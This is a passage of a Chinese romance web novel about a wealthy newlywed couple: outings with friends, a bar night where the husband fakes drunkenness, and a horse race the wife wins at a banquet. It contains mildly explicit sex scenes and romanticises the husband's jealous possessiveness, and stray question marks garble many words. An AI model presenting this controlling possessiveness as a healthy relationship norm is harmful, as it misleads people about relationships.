薛娆嘴上说不介意,但从那以后,两人微信很少?联系。南惜结婚时她也只转了份子钱,和陆西辞在国外度假。 一段坏的感情,真的会让人失去很多?。 * 京南马场是陆家产业,薛娆喜欢赛马,打马球,高中时一帮同学就常来玩。 婚后,陆西辞把马场送给了她。 坐拥京南六百亩地的马术俱乐部,会员制,身份资产卡得很严,出入者非富即贵。 他们这?群小朋友,一开始都凭着父母的名头才能进。后来,薛娆和陆西辞一来二?去,这?帮人就仗着是小陆总女朋友的娘家人,走起了特权。 南惜许久没来,工作人员都换了好几拨,早已不是她认识的那些。 但她也不需要?出示会员身份证明。 她这?辆车,这?张脸,就能在任何地方畅行无阻。 自从婚礼后,池靳予放开了网络媒体拍摄和传播权,他给老婆买车的新闻,当天?就传得沸沸扬扬。 紫色闪灵,车牌是连号8。 机灵的前台一从监控瞄见?这?辆车开进大门,就立马给老板打电话。所以南惜下车时,挺着肚子的薛娆已经亲自迎上来。 旧友见?面,不需要?额外说什么,只一个?眼神,过去一笔勾销。 “你?快别动了祖宗。”南惜加快脚步走过去,“几个?月了?瞒挺严实。” 薛娆牵住她手,笑:“四个?多?月。” 南惜睁大眼:“四个?多?月这?么大?” “双胞胎。” “……”南惜愣一秒,竖了个?大拇指,“陆老板牛逼。” 薛娆瞅了眼她的新车:“池总也不赖嘛。” “嗯……是不赖。”南惜甜甜蜜蜜地笑着,“可惜你?怀孕了,不能陪我骑马。” “就这?几个?月,我也快憋死了。”薛娆挽住她胳膊,“走,带你?去逛逛。” “重新装修过吗?” “嗯,结婚之后翻新了一次。” 薛娆虽然怀着双胞胎,但明显被?照顾得很好,身体和精神都不错。 带她把整个?俱乐部逛了一圈,在休憩区看?员工遛马,给南惜点了杯咖啡。 “不去跑两圈?”薛娆下巴指了指外面。 “算了,一个?人跑很无聊。”南惜捧着咖啡,“本来想和你?一块儿的。” 薛娆笑了笑:“那等阮承他们来,我叫你?。” “好。” 聊了半天?,薛娆送她出去,南惜想问薛娆要?不要?坐坐新车,又罢了。 万一双胞胎出什么岔子,陆西辞能宰了她。 回家吃晚饭,南惜随口和池靳予提了一嘴薛娆的双胞胎,说陆学长好厉害。 男人望着她半晌,若有所思道:“你?想要?的话,我也试试。” “……” 后来,这?人不知在哪查到利于?怀双胞胎的几种?姿势,连哄带骗,拽着她试了一整晚。 都戴着套,还美?其名曰勤加练习,上阵不慌。 * 自从和薛娆恢复联系,南惜经常被?高中同学约出去玩,也回到那个?熟悉的圈子。 日常酒吧蹦迪,骑马打球,高尔夫,斯诺克,如果阮承有空,就带这?帮朋友去他的飞行基地玩。 南惜有飞行执照,虽然很久没飞手生,但阮承在旁边坐镇,她很快找回了状态。 阮承是陆西辞哥们儿,全国各地开了十多?家飞行基地,有娱乐飞行,也有空中救援。 南惜高三?暑假学飞行执照差点出事,九死一生之际,阮承救过她一命。 小型飞机凌空穿越翠绿的山头,飞向天?边层层渐染的火烧云,南惜让阮承帮她拍一张今天?的晚霞,她要?发给池靳予看?。 阮承把墨镜掀到头顶,对着她手机锁屏的合照啧了声?:“你?这?是被?老男人彻底拿下了啊。” 随即摁下拍照按钮,给她拍下一张火烧云。 南惜透过墨镜瞪过去:“不许说他老男人。” 阮承重新戴上墨镜,开口:“你?肯护着他就好。” 南惜没太懂,墨镜太黑,也没看?懂他表情。 半晌,才听见?这?人笑着继续:“护着他就是喜欢他,喜欢他,说明没嫁错。我……我们这?帮老朋友也就放心了。” 南惜没心没肺地笑了一声?:“尽管放心吧您。” 从离开池昭明那一刻起,她就不会再让自己因为男女关系而受伤。 飞行基地在郊区山上,离城远,一帮人被?阮承用大G载过来的。 晚上在基地吃过饭,阮承也回市区,顺路一个?个?送回去。 和府街位于?最中心,也是最后一站。 当阮承的大G停在别墅门口时,车上只剩他们两个?。 下午几个?姑娘去基地附近的花海玩,每人带了一大束花,南惜向阮承道谢,抱着一捧薰衣草从副驾驶下来。 等了许久的池靳予在门口看?她。 晚高峰,和府街最神秘的豪宅大门敞开,引路人频频侧目。 院内景色一览无遗,穿着白衣黑裤的英俊男人站在门牌边,眼底幽静,深沉,仿佛看?不见?所有好奇打量的目光,只专注望着从越野车上下来的漂亮女人。 阮承关上副驾驶车门,无比自然地打了声?招呼:“池总,久仰。” 池靳予把目光投向他的同时,不动声?色地,搂紧身旁女人的腰身。 他的手扣得很紧,南惜整个?人快要?贴在他身上。 “多?谢阮总送我夫人回家。”嘴上客气礼貌,毫无破绽,“进来坐坐,喝一杯?” “谢池总盛情,我还有事儿,改天?再聚。”阮承点头笑了笑,也一样滴水不漏。 看?着大G掉头离开和府街,南惜正挥着的手被?某人握住,摁下来。 她用薰衣草挠挠他下巴:“你?怎么出来接我啦?” “你?没开车,我猜有人送你?回来。”男人嫌弃地把薰衣草扒拉开。 南惜望着他眼眸颤了颤,心想,这?人还真是放不下一点点周全。 如果有人送她回家,不论是谁,他都要?出来道声?谢,哪怕祁书艾也一样。 所以他的口碑在她朋友姐妹中,是一等一的完美?无缺。 池靳予看?着她手里的花,眼底墨色浓郁:“他送的?” 南惜故意逗他,笑着把薰衣草塞到他怀里:“借花献佛。” “我不要?。”男人脸色很差,但没有扔,攥在左手。 顿了顿,问她:“你?不觉得我们相处的时间变少?了吗?” 因为最近聚会频繁,她基本不在家吃晚饭,也经常快到睡觉时间才回家。 南惜有点委屈:“不是你?叫我出去玩?” 难不成才几天?,他就要?反悔了吗? 南惜熟悉这?种?感觉,最开始池昭明就是嫌她玩太晚,朋友太多?。她惹他不高兴,只能想法子哄他,后来一次次哄不好,只能逐渐和朋友疏远。 心底暗骂着男人都是大猪蹄子,想把她的薰衣草夺回来,离家出走,却忽然脚底一轻,被?拦着腰,整个?人拥入温暖的怀中。 气声?带着无奈,落在她头顶:“以后去哪玩告诉我,我接你?回家。” 第57章 第 57 章 在人来?人往的自家门外, 繁华街头,南惜回抱住他。 “逗你的。”她用脸颊蹭他胸口,“下午我和朋友们去摘的花。” 男人俯身, 轻轻咬住她耳朵:“学坏了。” 黑色大门缓缓合上, 将满园春色都隐藏。 她送给?他的薰衣草,成了她受罚的道具。 他们就在院内的下沉广场, 在她新买的懒人沙发上,她坐着他的腿,身后?贴着绷紧的腹肌。 一根薰衣草从耳后?缓缓往下,绵密的痒意掠过脖颈,肩胛, 后?背,然后?从腰侧绕向前面…… 墙外车声?人声?不间断,墙内呜咽求饶也不间断。 石桌上散着一大捧薰衣草,手指碾过的紫色缤纷零碎,轻柔地砸在雪白肩背上, 很快被?晃散开,无助地跌向地面。 偶有幸运的几朵, 落回另一片温暖的花圃,但也无法安然休憩。 只能?任由采花人不停地惊扰, 最后?要么被?夹碎成泥,要么溺在那一汪泉水中, 无休无止摇晃到晕眩。 南惜被?转过身抱起来?时,大脑已?经处于混沌状态, 下意识的环住他腰, 手臂软绵绵挂着他脖子。 她闭眼埋在他颈窝,敏锐感官捕捉到门被?关上的声?音, 院外车声?人声?,花鸟虫鱼也听不见?了,只剩下行?走间挤压出轻微的水声?。 他一只手还拿着那捧薰衣草,花香若有似无地,沾染在她的背上。 虽然他不承认,但南惜察觉到他的介意。无论是池昭明,还是今晚送她回家的阮承。 男人的独占欲真的很可怕。 为了证明自己?的所有权,仿佛要把她拆开了揉碎了,连着骨头吞下去。 他和池昭明不一样。 后?者就像个小孩,只会强迫她迎合自己?的想法,把她改造成自己?满意的样子。却殊不知,那样反而将她的心越推越远。 池靳予纵容她,放任她,就连表达情绪也是用这种方式。分明是带着惩罚的动作,她也能?感受到深入灵魂的宠爱。 她没?办法拒绝这样的男人。 每一下都像一个印记,烙在她心底深处。 薰衣草香弥漫进整个卧室,思?绪游离间,她听见?男人恩赐般的嗓音: “选个姿势。” “想侧着,还是趴着?” 她正要开口,被?打断:“不能?在上面。” “今天不准。” 趴在窗边那刻,南惜失去了选择的权利。 今晚,除了抱她上楼的那几分钟,他一直在后?面。 她看?不见?他,也抱不到他,无法预测每一次汹涌的激流,总是猝不及防,崩溃一地。 * 南惜今天有饭局。 阮承生日,请了陆西辞薛娆夫妇,几个朋友,本来?也让南惜带家属,可池靳予工作忙,走不开。 一群人在饭店吃完,商量转战KTV还是酒吧。薛娆怀着孕,不适合去吵闹的娱乐场所,陆西辞陪她先回。 南惜跟着去了酒吧。 玩过半场,池靳予发消息问她在哪,她回了一个酒吧定位,加上桌号。 不到半小时,人潮熙攘的酒吧门口,像时光凝滞般短暂地静了静。 南惜抬头看?过去,一张熟悉的脸,不负众望地俘获了所有人目光。 而他的视线毫不迟疑,于昏暗变幻的光影中,快速而精准地寻到了她。 然后?径直朝她走来?。 一桌人屏住了呼吸,坐在南惜旁边的两?个女孩激动地拽她胳膊:“卧槽,终于见?到本人。” “你一个人偷摸吃太好了吧?” 南惜憋住笑:“不偷摸吃,难不成吃给?你们看??” “……”瞬间脸红。 拜某人所赐,她如今在这帮未婚的同龄小姑娘面前,也能?算得上虎狼之辈。 阮承生日,寿星的主场,他亲自起身迎接:“池总,可算把您给?盼来?了。” “阮总不必客气。”池靳予点了下头,看?向被?姐妹们簇拥的南惜,“我来?接夫人回家。” 阮承笑着倒了杯酒:“来?都来?了,喝几杯再走。” 南惜心脏一紧。 从来?没?人能?劝他酒,他也不喜欢被?人劝。只要他不想,不会给?任何人面子。 今天是阮承生日,她不想老公和朋友闹不愉快,正打算上去解围,却见?男人淡淡接过朝他递来?的酒杯,和阮承手里的一碰:“阮总,生日快乐。” 他不仅接过酒,还祝对方生日快乐。 简直是给了天大的面子。 这帮朋友都热情,几个男人喝着酒聊起来,池靳予对阮承的态度,全然不是那晚摁着她翻来?覆去,表达怨气的架势。 她以为再见?到阮承,他一定不会给?好脸色。 直玩到十一点多?,池靳予明天还上班,南惜才强行结束男人之间的觥筹交错,把人从卡座拽起来?。 南惜知道池靳予不靠酒桌关系做生意,平时也不喜放纵,偶尔和薄慎小酌,酒量应该不太行?。和这群玩咖喝,果然只有被放倒的份儿。 一名服务生帮忙驮着,阮承亲自送出来?。 南惜刚想问他车停在哪,迎面听见?余沭阳的声?音:“我天,这是怎么了?” 池靳予一早就有喝两?杯的心理?准备,所以让余沭阳等在门口,到时开车送他们回家。 只是没?想到喝两?杯,变成了喝烂醉。 好在池靳予喝多?了也不发酒疯,只是晕乎乎地让人抬着,南惜说让他抬哪只脚就抬哪只脚,听话得不行?。 两?人上了车,余沭阳向阮承道谢:“麻烦您了阮总。” “客气。”阮承笑了笑,和南惜挥手,“路上小心。” 离开停车场,南惜听到余沭阳夹着轻叹的嗓音:“池总竟然在酒吧喝酒。” 南惜不解,抬头望向前面:“怎么了吗?” 余沭阳从后?视镜看?了眼瘫在座椅上的自家老板:“池总从来?不在酒吧喝酒吃东西,应酬也不会选那种地方,除了今天,唯一一次去还是——” “余沭阳。”后?座男人缓缓睁眼,微哑嗓音却没?有半分醉意,“开你的车。” 南惜瞪大眼望过去:“你装醉?” 余沭阳也惊呆了。 他家老板是什么人?不想喝就不喝,天王老子也劝不了他,更别提用装醉这种手段。 这人从头到脚,连一根头发丝都坦坦荡荡。 余沭阳怕老板,南惜却不怕老公,逮着话头刨根问底:“除了今天还有哪次?” 她好奇地望向余沭阳。 “……”余沭阳只恨不能?当场消失,讪笑,“夫人,您给?我留条活路吧。” 南惜深知余沭阳这个胆小鬼为了保饭碗,才不会满足她的好奇心,望着池靳予眨眨眼。 男人虽没?醉,但的确喝了不少,微醺的眸泛着几许潋滟的光。酒后?生热,衬衫扣子也解了两?颗,透着一股子风流。 他手掌握住她的腰,直接把人勾进怀里,哑声?:“他记错了。” 南惜一怔:“啊?” “是两?次。”只有彼此?能?听见?的声?音,贴着她耳朵钻进去,“一次你喝醉了,还有一次,你也醉了。” 南惜知道有一次是她的单身party,他本就是去接她的。 另一次,他指的应该是第一次见?面,她被?他带回和府街别墅,睡了一晚的那次。 脑中突然蹦出个念头,太荒唐,被?她很快压下。 不可能?的。 那时他们还素不相识,他怎么可能?为她去酒吧? * 酒后?不能?马上洗澡睡觉,南惜让余沭阳把人扶到沙发上,她自己?去厨房接水。 “夫人,那我走了,有事儿您电话叫我。” “好。” 南惜把杯子递到他嘴边:“喝一口。” 温水下肚,他紧蹙的眉心舒展了些?,看?见?她转身,又皱眉拉住她手:“去哪儿?” “去找蜂蜜给?你泡水。” “不用。”池靳予懒躺在沙发上,仰头看?她,有点无赖地攥着她小拇指,“不喝,陪我坐会儿。” 南惜心尖颤颤的,一阵软:“你头不疼吗?” “不疼。”他望着她笑,伸手,“抱抱。” 南惜娇嗔一声?,把杯子放到茶几上,乖顺地偎到他怀里。 男人呼吸间都是酒味,却并不让她生理?上反感和不适。 她以前是讨厌的,池昭明喝了酒她都很嫌弃。 然而此?刻却只有心疼。 她知道他肯定不舒服。 “你不想喝可以不喝的,那帮人都是酒桶。”她捧住他脸,抹掉额头渗出的汗,“而且你不是不喜欢阮承?” “他们是你朋友。”男人微醺的目光不似平常,望着她的时候,有点痴。 南惜听见?自己?心脏里连绵的砰砰声?,像一阵焰火。 “而且,阮承不是救过你吗?” 空间仿佛静止了一瞬,她愕然:“你怎么知道?” “忘了,也许是听谁说的吧。”男人勾唇笑着,指尖拂过她额角的发丝。 南惜恍惚地眨了下眼。 这件事不算秘密,一起玩的朋友都知道,传到他耳朵里也正常。 “我喜不喜欢他,和他救过你是两?码事,无论如何我应该感激他。”池靳予无比沉静地望着她的脸,那丝丝缕缕的目光,却好似透过现在的她,飘向过去遥远的时空,“毕竟我差点失去你。” 南惜眼眶一阵烫,发出瓮瓮的鼻音:“说什么呢,你那时候都不认识我。” 男人笑了笑,将她手指一根根攥入指缝。 南惜看?向两?人交握的手,一对戒指亲密相贴。 她首饰多?,偶尔为了搭配会换别的戒指,但池靳予始终戴婚戒,只有洗澡睡觉才会摘。 他对这段婚姻的珍视,无孔不入地渗透着所有细节。即便嘴上不谈感情,可行?动都是明目张胆的宠爱。 婚前他许她人前风光,人后?自由。 婚后?她才知道,原来?他能?给?的更多?。 忽然,轻如云烟的嗓音从头顶飘下:“老婆。” 南惜仰起头,刚想回应他,却看?见?男人紧闭的眼睑。 呼吸微沉而均匀,像已?经入梦。 看?着他安静的睡颜,南惜鬼使神差地抬起手,用指腹摁住他眉心的褶皱,然后?看?见?他勾了勾唇,如梦呓一般:“老婆,晚安。” 另一只手,温柔地搂紧她腰。 心口像溃散的堤坝,一股陌生情潮如洪水般漫卷,汹涌。 她好像拨开迷雾,看?清了什么。 是那颗被?无形中蚕食,侵占,后?知后?觉丢了一半的心。 第58章 第 58 章 七月末, 暑气正盛。往年每天送到龙湖山庄的新鲜瓜果,都改道去了和府街。 从新疆冷链空运的葡萄西瓜和哈密瓜,一天一趟, 运费比瓜果昂贵。可?南惜嘴刁, 要吃正儿八经新疆的,当天摘下的瓜果。 本地瓜果虽然也甜, 可?比新疆还是差着劲儿,市面上能买到的,运过来也不够新鲜。 南俊良为她这张馋嘴开了一个?夏天的专机运输航线,如今这份光荣使命落在了池靳予头上。 这位比她那宠女无度的父亲更过分,甚至开国际航线, 专程运送她最近酷爱的泰国香水椰,马来西亚的榴莲。 在乔老先生?寿宴上,这件事?被一群豪门太太津津乐道,都说她命里镶了金。表达羡慕之余,又?藏着心思问?她池先生?在哪, 为何没跟她一起?来。 南惜敷衍几句,寻了个?借口?去找乔宜琳。 虽然同为已婚人士, 她还是和那些太太们聊不来。张口?闭口?自家老公,别人家老公, 好像她们的世界就只?有男人这一个?话题。 南惜今天没和池靳予一块儿来,听他?说要回去取给乔老先生?的寿礼, 那会儿她已经在会所做完头发?,不想等, 便自己开车先来了。 她不明白, 为什么和老公出双入对这种事?也值得炫耀。 在池靳予老婆这个?身?份之前,她还是南家千金, 还是她自己。 “越不幸福,越要攀比,越要假装夫妻恩爱,家庭和睦。”乔宜琳端着香槟杯,摇摇头,“姚太太的丈夫在外面养了三个?,还有一个?私生?女,秦太太正和丈夫闹离婚,李太太丈夫上个?月才跟一个?小明星闹桃色新闻,她咬着牙,花钱给他?压下来。” 南惜昂首挺胸,抿了口?香槟:“池靳予要是敢那样,我一脚踹飞他?。” “踹谁呢?老婆。”一道清润嗓音含着笑,从身?后传来。 “踹出轨的渣男。”南惜娇哼了声,转身?走到他?旁边,“我可?是有生?杀予夺权的,你?千万别被我抓到小辫子。” 池靳予搂住她腰,低下声:“我都快被你?榨干了,哪儿来的精力出轨?” 乔宜琳还在旁边,南惜脸一热,抬手去捂他?嘴:“说什么呢!” 乔宜琳抬起?酒杯掩着嘴笑:“我去看?一下爷爷,你?们继续。” 这里是乔家的避暑山庄,面积虽比不上龙湖,却也算规模宏大,有高尔夫球场,赛马场,乔家人经常在这里招待朋友。 乔老爷子八十大寿,请了许多后辈来热闹。 祁书艾薄慎一前一后,自觉离对方远远的,像生?怕沾染上什么病毒。 池昭明和一群朋友勾肩搭背着进?来,叽叽喳喳,瞬间把?周围变得闹腾。高一句低一句,不少人扭头朝他? 们看?,眼神里带着被打扰的不悦。 和施廷昱说笑着进?来的高挑女人,穿一身?斜肩酒红色鱼尾裙,熨帖而简单的设计,却衬托出此人干练利落的成熟气场。 南惜莫名觉得似曾相识,却想不起?来。 “施家大小姐,施明琅。”池靳予低声告诉她,“你?肯定听过。” 南惜点点头,她确实听过。 施明琅在圈子里算个?传奇,是国内许多慈善晚宴的发?起?人。但因为很少公开露面,南惜对她的长相并?不熟悉。 同样传奇的,还有她谜一样的私生?活。 据说和乔宜琳一样,喜好男//色。 远远看?见乔宜琳从后院出来,给了施明琅一个?热情的拥抱,南惜不禁笑了出声。 果然。 她就知道,这两人肯定是好朋友。 池靳予目光也刚从那处收回来,摁着她肩膀:“笑什么?” “没什么。”南惜仰起?头看?他?,突然想,如果哪天自己去会所看?一看?男模跳舞,这人会是什么反应? “你?知道,我对你?没什么要求。”男人仿佛有所预感,叹了叹,“但不要和施明琅走太近。” 南惜眨眨眼,故意调侃:“不是没要求吗?” “就这一条。” 南惜踮脚凑近他?,轻声:“池总,你?在担心什么?” 池靳予轻轻端着她下巴,眸紧锁住她:“别玩,我会生?气。” “你?生?气很可?怕吗?” “你?不会想试。” 南惜看?着他?认真得不含一丝杂质的眼神,小心脏突然猛烈一抖。 她没见过他?真正生?气,但也不是无法现象。 大概会比阮承送她回家那晚还凄惨得多。 她不想试。 一点也不想。 “开玩笑的。”识时?务者为俊杰,南惜先败下阵来,“我对那种没兴趣。” “嗯。”池靳予这才恢复笑意,指腹摸了摸她脸颊,“我也对那种没兴趣,你?不会有机会抓到我小辫子,踹飞我。” “……”南惜猝不及防嘴角一抽。 他?真会记仇。 午餐时?,乔宜琳招呼南惜去同一桌,空的位置刚好挨着施明琅。 池靳予替她谢过,带她去了另一桌。 饭后,乔老爷被保姆用轮椅推出去晒太阳,寿宴是大师挑的日子,风和日丽,气温适宜。 乔宜琳的父亲刚从欧洲进几匹好马,提议让孩子们去玩。 “既然要玩,博个?好彩头吧。”穿中山装的乔老爷捋了捋白花花的胡子,慈祥地笑道,“谁得了第一,我那翡翠珊瑚就送他?。” 周围一下子炸了锅。 年前乔老爷在纽约拍下的古董翡翠珊瑚摆件,不知道羡煞海内外多少收藏家,竟然在寿宴这天如此轻易地拿出来当奖品。 都说乔老爷对小辈大方宠爱,这话不假。 南惜知道池靳予向来对古董感兴趣,在一片嘈杂中凑到他?耳边:“想要吗?” “你?喜欢?”男人搂着她的腰,低下头,“我去试试,给你?赢回来。” 南惜望着他?眨了眨眼:“你?能赢吗?” 池靳予略一沉思:“话不能说满。” 马术对他?们而言是必修课,池靳予从小练,虽不说技艺超群,但也有搏一搏的资本。 “不用了。”南惜抬手勾着他?脖子,笑说,“我去赢给你?。” 她胸有成竹,一字一顿:“我,保,证。” 池靳予想起?她就擅长这些,失笑:“那就拜托夫人了。” 南惜进?去换马术服,乔宜琳和她一起?。 “就算你?刚和池总夸了海口?,我也不会让你?的啊,我可?馋爷爷那宝贝好久了。” 南惜昂着下巴系头盔的安全带:“谁让谁还不一定。” 乔宜琳勾住她肩,瞄向身?后出来的另一抹高挑身?影:“妹妹,你?今儿可?有劲敌呢,别高兴太早。” 施明琅走到她旁边,从镜子里看?着她,勾了勾唇:“加油,南小姐。” 她叫她南小姐,不是池太太。 从女更衣区同时?出来的几位姑娘,池靳予一眼只?看?到她。 见惯了她的俏皮可?爱,妩媚动人,他?还是第一次见到她这么英姿飒爽的一面。 黑白马术服简单利落,紧身?裤与马靴包裹着笔直修长的腿。头盔下的长发?扎了个?马尾,步伐轻快而矫健,透着股傲视一切的洒脱和随意。 她好像知道她一定会赢。 从他?面前走过时?,转头一笑,马尾末端扫过他?的肩,在他?周围散下一抹浅淡清香。 池靳予毫不设防地失神半晌,直到身?边传来薄慎提醒的声音:“开始了。” 单比骑马没什么看?点,乔家设置了一场简单的场地障碍赛,在一定时?间内跨越所有障碍物,用时?最少的为胜。 男女并?没有分开,一起?比,不少人都押宝在施廷昱身?上。他?一直酷爱骑马,自己也刚开了马场,又?当老板又?当教练,经验和技巧都有目共睹。 随着裁判一声令下,八匹马同时?冲出起?跑线。 那些押宝在施廷昱身?上的看?客,逐渐惊愕地张大了嘴巴。 率先跨过两道障碍,暂时?位列前二的,是南惜和施明琅。 两人几乎不相上下,马匹控制得炉火纯青,每一次跳跃都精准判断。 而另外几位除了施廷昱,已经撞落一次顶端横杆,罚4分。 施廷昱在第二道障碍前稍稍垫步,落后于?她们。 乔安安扯嗓子为姐姐加油,祁书艾也大声叫南惜名字。 落后几步的施廷昱知道自己没戏,朝前面喊:“姐,公主给驸马挣彩头呢,你?可?千万别让!” 他?这人贼得很,故意说这话让南惜分心,可?他?到底低估了南惜。 想当年在美国和同学?比马球,池昭明直接摔下去,她也没分心,把?那帮人打得落花流水。 其余参赛者落后的落后,淘汰的淘汰,只?有南惜和施明琅遥遥领先,互不相让。 最后南惜以一步距离,在终点线赢了她。 全场欢呼,掌声迭起?,有人看?得激动吹口?哨。 南惜从马背上跳下来,径直走向那个?眉眼清润,安静却温柔地望着她的男人。 喧闹中他?显得太过冷静,没有表现出一分情绪波动。但她看?见了他?眼底的光,汹涌,热烈,像拢进?她背后整个?世界的光。 蓝天白云,无边的绿色马场映在他?眼中,都不如她跃动的身?影明亮。 她俏生?生?站到他?面前,像一只?绿野上飞舞的精灵,骄傲又?明艳:“我赢啦。” “嗯。”他?笑着,淡淡回应。 看?似冷静的这一秒后,却揽过她裹在马术服中玲珑的腰身?,火热的手掌瞬间掐紧。 无视周围各色各样的眼光,低头吻住她唇。 第59章 第 59 章 “老婆, 真厉害。”他含着她的?唇,辗转厮磨。 婚礼仪式上持续十分钟的?吻,现?场许多?人都只是听?说, 池靳予宠老婆这?事?传得?再沸沸扬扬, 毕竟没有亲眼所见。 今天不少人都是第一次见他,对他的?印象还停留在过去的?传闻。只见本人俊朗不凡, 矜贵儒雅,却明?显对一切漠不关心,骨子里浸着冷淡。 没法想象这?样冷淡的?男人能?怎么宠老婆。 原来他可?以如此热切地吻一个女孩,如此温柔地哄她。底色清冷的?人爆发出的?强烈爱意和占有欲,于所有人都是触及灵魂的?冲击。 祁书艾眼睛直了, 匆忙拿手机拍视频,拍了一半听?见薄慎的?声音像鬼一样从身后传来:“别?乱拍,删掉。” “关你屁事?,我拍下来给惜惜看?。”祁书艾看?都懒得?看?他,暗骂神经。 她要拍下来给南惜留念, 池靳予本人都不会有屁放。 薄慎嘴角轻扯,手里一根细烟被折成两半:“你敢在网上乱发, 等律师函。” “好怕怕哦,激我是吧?老娘现?在就发, 你等着。”祁书艾当着他面?打开朋友圈,指尖在屏幕上戳得?噼里啪啦。 薄慎拧眉去抢, 祁书艾边跑边躲,回头朝他吐舌头做鬼脸。 绕到人群后, 祁书艾把选好视频的?画面?转过去给他看?, 大拇指放在发送键上方,耀武扬威。 薄慎冲到她面?前, 手焦急地探向?她手机。 但由于过分焦急,失了准头,从她胳膊上方越过。 就这?么猝不及防地碰到她的?胸。 祁书艾愣了愣,一声“流氓”,巴掌甩到到他左脸颊上。 太过喧闹嘈杂的?人群中央并没有发现?他们的?小插曲。 乔老爷子过来道贺,亲自派人去取翡翠珊瑚。作为乔家马场第一个为先生赢下彩头的?姑娘,南惜一时间出尽风头。 乔老爷子直呼后生可?畏,现?在的?小姑娘越来越了不得?。 池昭明?在边上看?着,没人关心他,原本和他一起来的?朋友们也都凑过去巴结恭喜池靳予和南惜,在乔老爷子面?前混脸熟。 第一个和他说话的?,竟然是池靳予。 握着他前未婚妻的?手,用刚才当着他的?面?,激烈温存地吻过他前未婚妻的?那张嘴,轻飘飘招呼他:“不恭喜你大嫂?” 一声“恭喜”,像是从牙缝里挤出来。 * 南惜去找祁书艾玩了,池靳予环顾马场没看?见薄慎,打了个电话,对方说在停车场。 池靳予过去的?时候,薄慎靠着他的?布加迪抽着烟。 他一眼便看?到那高高肿起的?半边脸,微愣,没忍住不厚道地笑?:“怎么了这?是?” 薄慎嘴角一撇:“眼瞎,撞着疯子了。” 说着牵动那半边脸,痛得?他直呼一声“艹”。 池靳予若有所思地看?了他几秒:“你该不会对哪家姑娘出手,被人教训了吧?” “我是那种人吗?”薄慎捂着脸,把烟掐灭,“你们玩儿,我走了,没劲。” 看?着人气冲冲钻进跑车,池靳予担忧地蹙眉:“去一下医院。” “用不着。”白色布加迪承载了主人情绪,发动机怒吼般轰鸣。 一个漂移拐弯,喷着嚣张的?尾气飚出停车场。 * “你把薄慎给打了?”南惜竭力压着嗓音,才没有当众叫出来。 “他摸我胸!”祁书艾脸还是红的?,一杯冰啤酒都没降下来温,“……他耍流氓!” 南惜抿着吸管清咳了声:“那他该打。” 顿了顿,又问:“打够了吗?解气了吗?要不要我帮你?” “……不用。”祁书艾仰头灌了一大口,“我才不跟他一般见识,以后最好都不要碰到他。” 祁书艾说今天撞小人,没准儿财运不错,拽着她去打麻将。 池靳予找完薄慎回来,坐到南惜旁边。 男士们大多?在马场,或者打高尔夫打台球,喝点下午茶聊生意,池靳予是唯一一个陪老婆打麻将的?。 一屋子目光都往他身上瞟,男人却视而不见,眼里只有他老婆。 直到后来,南惜说想吃点东西,他出去给她弄水果零食。 同桌打牌的?太太们这?才好意思开口。 “没想到池总这?么黏你。” “是啊是啊,他那眼睛都长你身上啦,根本就不看?牌。” “还是小年轻懂浪漫,形影不离的?,真黏糊。” “想当年我跟老马也好得不行,不过时间长了,感?情自然而然就淡了。” “男人嘛,都喜欢年轻漂亮的。” “唉,结婚说白了是搭伙过日子,过了新鲜劲儿,后面?全靠忍。” 南惜笑?了笑?,轻描淡写的一声:“过日子需要搭伙吗?” 四两拨千斤,对面?两个太太都愣住。 “一个人过日子不比两个人舒坦自由得多??吃饱了撑的?要去忍另一个人?结婚当然是为了开心,如果哪天分开比在一起更开心,那就分开。”南惜用中指敲出去一个四条。 出去拿吃食的?某人正好回来,也正好听?到这?话,有人露出一瞬看?好戏的?表情。 却见池靳予耐心寻了辆推车过来,把水果甜品摆上去,给南惜端了杯精心调制的?饮料,吸管直接送到她唇边,认真凝着她的?眼:“我不会给你不开心的?机会。” 等着看?好戏的?人当真看?了出好戏,还被塞了满嘴狗粮。 祁书艾假装不悦,却颇为自家人得?意地白了池靳予一眼:“妹夫,悄悄话留着回家说行不?这?么多?人呢,收敛点儿。” “抱歉。”池靳予对众人笑?了笑?,嘴上谦逊,却无比自然地搂住自家老婆的?腰,黏糊糊贴上。 南惜接着打牌,他喂饮料,喂水果,零食掰碎了送到她嘴边。 两把椅子挨着,两人亲密似一体,众人只觉得?要不是满屋子灯泡限制他发挥,这?画面?还得?有多?不忍直视。 直到当事?人主动开口:“老公,你是不是离我太近了?” 南惜嗓音压得?低,池靳予回她也轻柔:“有吗?” “这?么多?人呢。” 两人像在讲悄悄话,但牌桌就这?么大点,周围全都能?听?到。 “没事?没事?。”旁边一位太太连忙笑?着说,“池总池太太新婚燕尔嘛。” 人家客气,池靳予还真顺杆爬,一边感?谢理解,一边明?目张胆地继续贴贴。 * 乔老爷德高望重,除了因为破相没法见人的?薄慎,大家都没有提前离开。 乔家有一片昙花园,晚宴过后,女眷们在花园一边聊天,一边等昙花开放。 这?里还种着各色玫瑰,百合和郁金香,满园芬芳沁鼻,和姑娘们绚丽的?裙摆相得?益彰。 南惜遥遥看?见乔宜琳,挽着祁书艾一起过去。 乔宜琳旁边站着施明?琅。 下午的?赛马已经让两人生出几分惺惺相惜,施明?琅主动打招呼:“南小姐,祁小姐。” 南惜笑?了笑?:“施姐姐好。” 祁书艾自来熟,直接叫了声“明?琅姐”,问乔宜琳:“说什么呢?刚才笑?那么开心,分享分享呗。” 乔宜琳拿着朵波尔多?红玫瑰:“我俩交流不婚心得?呢,你们一个小姑娘,一个新婚燕尔甜蜜蜜的?,确定?要听??” 祁书艾睁大眼:“宜琳姐也是不婚族吗?” “我啊,碰不到喜欢的?就不结,一周换一个弟弟玩儿不香吗?”乔宜琳看?了眼施明?琅,“这?位才是单身贵族,发誓不结婚的?。” 祁书艾:“好酷。” 关于施明?琅的?传言,倒没有提到她不婚族的?,只不过像她这?样的?女人,对那些公子哥儿来说也只能?是痴心妄想的?对象,没人能?配。 连施家长辈都奈何不了她,安排她联姻更不可?能?。 南惜是出身好,也运气好遇见了池靳予,但施明?琅的?地位和自由,是靠她这?双手挣来的?。 南惜从来没有像这?样敬佩一个女人。 至于外界传闻的?私生活,那又怎样?事?业有成的?男人可?以玩女人,事?业有成的?女人就不能?找乐子了吗?她没恋爱没结婚,不劈腿不违法,那些八卦的?人未免太双标。 南惜眉眼清亮,毫不掩饰赞赏地望过去,举杯:“明?琅姐。” 施明?琅笑?着与她碰杯。 祁书艾问起乔宜琳的?新美甲,要她推荐美甲师微信,南惜走到施明?琅身边。 “上个月去过明?琅姐的?慈善晚宴。” 